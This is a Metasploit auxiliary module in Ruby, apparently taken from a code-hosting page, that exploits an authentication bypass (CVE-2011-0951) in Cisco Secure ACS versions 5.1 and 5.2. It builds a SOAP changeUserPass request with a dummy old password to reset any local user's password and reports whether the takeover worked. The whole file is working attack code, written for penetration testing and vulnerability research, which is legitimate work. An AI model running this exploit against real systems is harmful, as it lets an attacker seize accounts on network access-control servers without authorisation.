108 lines
3.9 KiB
Ruby
108 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Cisco Secure ACS Unauthorized Password Change',
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'Description' => %q{
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This module exploits an authentication bypass issue which allows arbitrary
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password change requests to be issued for any user in the local store.
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Instances of Secure ACS running version 5.1 with patches 3, 4, or 5 as well
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as version 5.2 with either no patches or patches 1 and 2 are vulnerable.
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},
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'References' =>
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[
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['BID', '47093'],
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['CVE', '2011-0951'],
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['URL', 'http://www.cisco.com/en/US/products/csa/cisco-sa-20110330-acs.html']
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],
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'Author' =>
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[
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'Jason Kratzer <pyoor[at]flinkd.org>'
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],
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'License' => MSF_LICENSE
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))
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register_options(
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[
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Opt::RPORT(443),
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OptString.new('TARGETURI', [true, 'Path to UCP WebService', '/PI/services/UCP/']),
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OptString.new('USERNAME', [true, 'Username to use', '']),
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OptString.new('PASSWORD', [true, 'Password to use', '']),
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OptBool.new('SSL', [true, 'Use SSL', true])
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])
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end
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def run_host(ip)
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soapenv='http://schemas.xmlsoap.org/soap/envelope/'
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soapenvenc='http://schemas.xmlsoap.org/soap/encoding/'
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xsi='http://www.w3.org/1999/XMLSchema-instance'
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xsd='http://www.w3.org/1999/XMLSchema'
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ns1='ns1:changeUserPass'
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data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
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data << '<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="' + soapenvenc + '" '
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data << 'xmlns:SOAP-ENC="' + soapenvenc + '" '
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data << 'xmlns:xsi="' + xsi + '" xmlns:SOAP-ENV="' + soapenv + '" '
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data << 'xmlns:xsd="' + xsd + '">' + "\r\n"
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data << '<SOAP-ENV:Body>' + "\r\n"
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data << '<ns1:changeUserPass xmlns:ns1="UCP" SOAP-ENC:root="1">' + "\r\n"
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data << '<v1 xsi:type="xsd:string">' + datastore['USERNAME'] + '</v1>' + "\r\n"
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data << '<v2 xsi:type="xsd:string">fakepassword</v2>' + "\r\n"
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data << '<v3 xsi:type="xsd:string">' + datastore['PASSWORD'] + '</v3>' + "\r\n"
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data << '</ns1:changeUserPass>'
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data << '</SOAP-ENV:Body>' + "\r\n"
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data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
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print_status("Issuing password change request for: " + datastore['USERNAME'])
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begin
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1,1] != '/'
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'POST',
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'data' => data,
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'headers' =>
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{
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'SOAPAction' => '"changeUserPass"',
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}
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}, 60)
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rescue ::Rex::ConnectionError
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print_error("#{rhost}:#{rport} [ACS] Unable to communicate")
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return :abort
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end
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if not res
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print_error("#{rhost}:#{rport} [ACS] Unable to connect")
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return
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elsif res.code == 200
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body = res.body
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if body.match(/success/i)
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print_good("#{rhost} - Success! Password has been changed.")
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elsif body.match(/Password has already been used/)
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print_error("#{rhost} - Failed! The supplied password has already been used.")
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print_error("Please change the password and try again.")
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elsif body.match(/Invalid credntials for user/)
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print_error("#{rhost} - Failed! Either the username does not exist or target is not vulnerable.")
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print_error("Please change the username and try again.")
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else
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print_error("#{rhost} - Failed! An unknown error has occurred.")
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end
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else
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print_error("#{rhost} - Failed! The webserver issued a #{res.code} response.")
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print_error("Please validate the TARGETURI option and try again.")
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end
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end
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end
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